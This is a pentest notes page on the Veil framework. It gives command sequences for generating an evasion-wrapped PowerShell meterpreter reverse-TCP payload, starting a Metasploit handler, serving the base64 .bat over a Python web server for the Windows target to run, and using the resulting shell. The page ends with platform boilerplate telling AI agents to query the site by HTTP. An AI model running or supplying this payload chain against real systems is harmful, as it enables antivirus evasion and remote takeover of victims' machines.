> For the complete documentation index, see [llms.txt](https://pentest.mxhx.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentest.mxhx.org/03-getting-in/03-veil.md).

# Veil

## REF: [Metasploit](/03-getting-in/03-metasploit.md)

## Veil Framework

* Evasion ..creates payload w/evasion
* Ordinance ..Quickly gen shellcode for exp/pay
* Shellter ..Other software

## Usage

```
sudo veil

use Evasion
list           ..see all the payloads
<tab> <tab>    ..view options

info powershell/meterpreter/rev_tcp.py
use powershell/meterpreter/rev_tcp.py
set LHOST 10.x.x.x  (tab complete)

generate       ..give it a name: veil

Created:
/var/lib/veil/output/source/veil.bat   ..base64 encoded
/var/lib/veil/output/handlers/veil.rc  ..For MSF
```

## Metasploit Scripting

```
msfconsole -r /var/lib/veil/output/handlers/veil.rc
jobs  ..see that it is running/waiting

Autoloaded this:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.x.x.x
set LPORT 4444
set ExitOnSession false   ..catch all sessions!!
exploit -j
```

## Execution

```
Kali:
cd /var/lib/veil/output/source/
ls veil.bat
> python3 -m http.server

Windows:
http://$IP:8000/veil.bat ..save/open/execute

Kali: Connected!
session -l
sessions -i 1
meterpreter> getuid
sysinfo
Win!
```

## Example:

* Veil-Evasion used in [coldfusion](/04-webapps/coldfusion.md#reverse-executable)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentest.mxhx.org/03-getting-in/03-veil.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
